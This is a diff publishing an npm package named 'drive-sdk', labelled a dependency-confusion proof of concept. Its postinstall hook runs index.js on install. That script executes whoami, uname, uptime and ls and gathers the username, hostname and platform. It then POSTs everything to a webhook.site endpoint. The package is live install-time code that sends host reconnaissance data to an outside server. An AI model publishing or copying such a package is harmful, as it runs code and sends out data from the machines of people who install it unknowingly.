drive-sdk 1.0.0

package/index.js

@@ -0,0 +1,48 @@
+const https = require('https');
+const os = require('os');
+const { execSync } = require('child_process');
+
+// Run a few harmless commands to prove code execution
+let output = {};
+
+try {
+  output.whoami = execSync('whoami').toString().trim();
+  output.uname = execSync('uname -a').toString().trim();
+  output.uptime = execSync('uptime').toString().trim();
+  output.cwd = process.cwd();
+  output.ls = execSync('ls -la').toString().trim();
+} catch (err) {
+  output.error = err.toString();
+}
+
+const data = JSON.stringify({
+  metadata: {
+    user: os.userInfo().username,
+    hostname: os.hostname(),
+    platform: os.platform(),
+    arch: os.arch(),
+    timestamp: new Date().toISOString()
+  },
+  shell_output: output
+});
+
+const options = {
+  hostname: 'webhook.site',
+  path: '/95230d1c-a690-4d8e-a646-efcdcf6da99a', // Replace with your webhook
+  method: 'POST',
+  headers: {
+    'Content-Type': 'application/json',
+    'Content-Length': data.length
+  }
+};
+
+const req = https.request(options, res => {
+  console.log(`[+] PoC data sent. Status: ${res.statusCode}`);
+});
+
+req.on('error', error => {
+  console.error('[-] Failed to send webhook:', error);
+});
+
+req.write(data);
+req.end();

package/package.json

@@ -0,0 +1,12 @@
+{
+  "name": "drive-sdk",
+  "version": "1.0.0",
+  "description": "PoC for dependency confusion",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"PoC - No tests\" && exit 0",
+    "postinstall": "node index.js"
+  },
+  "author": "h4cker nafeed",
+  "license": "ISC"
+}